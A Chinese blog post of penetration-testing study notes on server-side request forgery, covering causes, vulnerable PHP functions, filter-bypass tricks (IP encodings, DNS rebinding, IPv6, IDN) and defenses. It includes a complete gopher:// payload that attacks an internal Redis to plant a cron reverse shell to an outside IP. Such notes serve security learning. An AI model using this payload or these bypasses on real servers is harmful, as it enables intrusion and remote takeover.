avatar

web渗透学习笔记[八]--ssrf

SSRF

服务端请求伪造,服务端发起的请求,目标一般为内部系统。

形成原因

从其他服务器应用获取数据的功能并且没有对目标地址做过滤和限制,比如从指定url地址获取网页文本内容,加载指定地址的图片,下载等。

相关危险函数

SSRF涉及到的危险函数主要是网络访问,支持伪协议的网络读取。以PHP为例,涉及到的函数有 file_get_contents() / fsockopen() / curl_exec() 等。

利用手段

  1. 可以对外网,内网,本地端口进行扫描,某些情况下端口的Banner会回显
  2. 攻击运行在内网或本地的有漏洞的程序(溢出)
  3. 可以对内网web应用进行指纹识别,原理是通过请求默认的文件得到特定的指纹
  4. 攻击内网或外网有漏洞的web应用
  5. 使用file:///协议读取本地文件

SSRF漏洞出现点

  1. 通过url地址分享网页内容
  2. 转码
  3. 在线翻译
  4. 图片加载与下载
  5. 图片,文章收藏
  6. 未公开的api实现
  7. 从url关键字中查看

绕过方法

@解析url出现的问题

http://ww.xxx.com@192.168.0.1这访问的可能是192.168.0.1的内容

添加端口

短地址和利用跳转

http://www.xxx.com/aa?url=http://192.168.0.1可以用短网址代替尝试

可以指向任意ip的域名,192.168.1.1.x.xx

如果服务端没有先解析IP再过滤内网地址,我们就可以使用localhost等解析到内网的域名。

另外 xip.io 提供了一个方便的服务,这个网站的子域名会解析到对应的IP,例如192.168.0.1.xip.io,解析到192.168.0.1。

ip地址转换成进制访问

改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址可以被改写成:

1
2
3
4
5
6
8进制格式:0300.0250.0.1
16进制格式:0xC0.0xA8.0.1
10进制整数格式:3232235521
16进制整数格式:0xC0A80001
合并后两位:1.1.278 / 1.1.755
合并后三位:1.278 / 1.755 / 3.14159267

另外IP中的每一位,各个进制可以混用。

访问改写后的IP地址时,Apache会报400 Bad Request,但Nginx、MySQL等其他服务仍能正常工作。

另外,0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏。

非http协议

如果服务器端程序对访问URL所采用的协议进行验证的话,可以通过非HTTP协议来进行利用。

比如通过gopher,可以在一个url参数中构造POST或者GET请求,从而达到攻击内网应用的目的。例如可以使用gopher协议对与内网的Redis服务进行攻击,可以使用如下的URL:

1
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

除了gopher协议,File协议也是SSRF中常用的协议,该协议主要用于访问本地计算机中的文件,我们可以通过类似 file:///path/to/file 这种格式来访问计算机本地文件。使用file协议可以避免服务端程序对于所访问的IP进行的过滤。例如我们可以通过 file:///d:/1.txt 来访问D盘中1.txt的内容。

DNS Rebinding

一个常用的防护思路是:对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就禁止该次请求。

但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,可以进行DNS重绑定攻击。

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:

  • 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
  • 对于获得的IP进行判断,发现为非黑名单IP,则通过验证
  • 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
  • 由于已经绕过验证,所以服务器端返回访问内网资源的结果。

利用IPv6

有些服务没有考虑IPv6的情况,但是内网又支持IPv6,则可以使用IPv6的本地IP如 [::] 0000::1 或IPv6的内网域名来绕过过滤。

利用IDN

一些网络访问工具如Curl等是支持国际化域名(Internationalized Domain Name,IDN)的,国际化域名又称特殊字符域名,是指部分或完全使用特殊的文字或字母组成的互联网域名。

在这些字符中,部分字符会在访问时做一个等价转换,例如 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜexample.com 等同。利用这种方式,可以用 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ 等字符绕过内网限制。

基本判断方法

  1. http://www.xxx.com/**/**/i?image=http://www.aaa.com/img/img.png,右键图片新窗口打开,如果浏览器url地址是http://www.aaa.com/img/img.png,不存在SSRF
  2. 用burpsuit查看本地是否有图片的请求,加载图片是由服务器发起

修复:

  1. 限制请求的端口只能为web端口,只允许访问http和https
  2. 限制不能访问内网的ip
  3. 屏蔽返回的详细信息

防御方式

  • 过滤返回的信息
  • 统一错误信息
  • 限制请求的端口
  • 禁止不常用的协议
  • 对DNS Rebinding,考虑使用DNS缓存或者Host白名单
文章作者: KaKing
文章链接: http://wlaqstcs.com/1112/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 KaKing-网络安全渗透测试

评论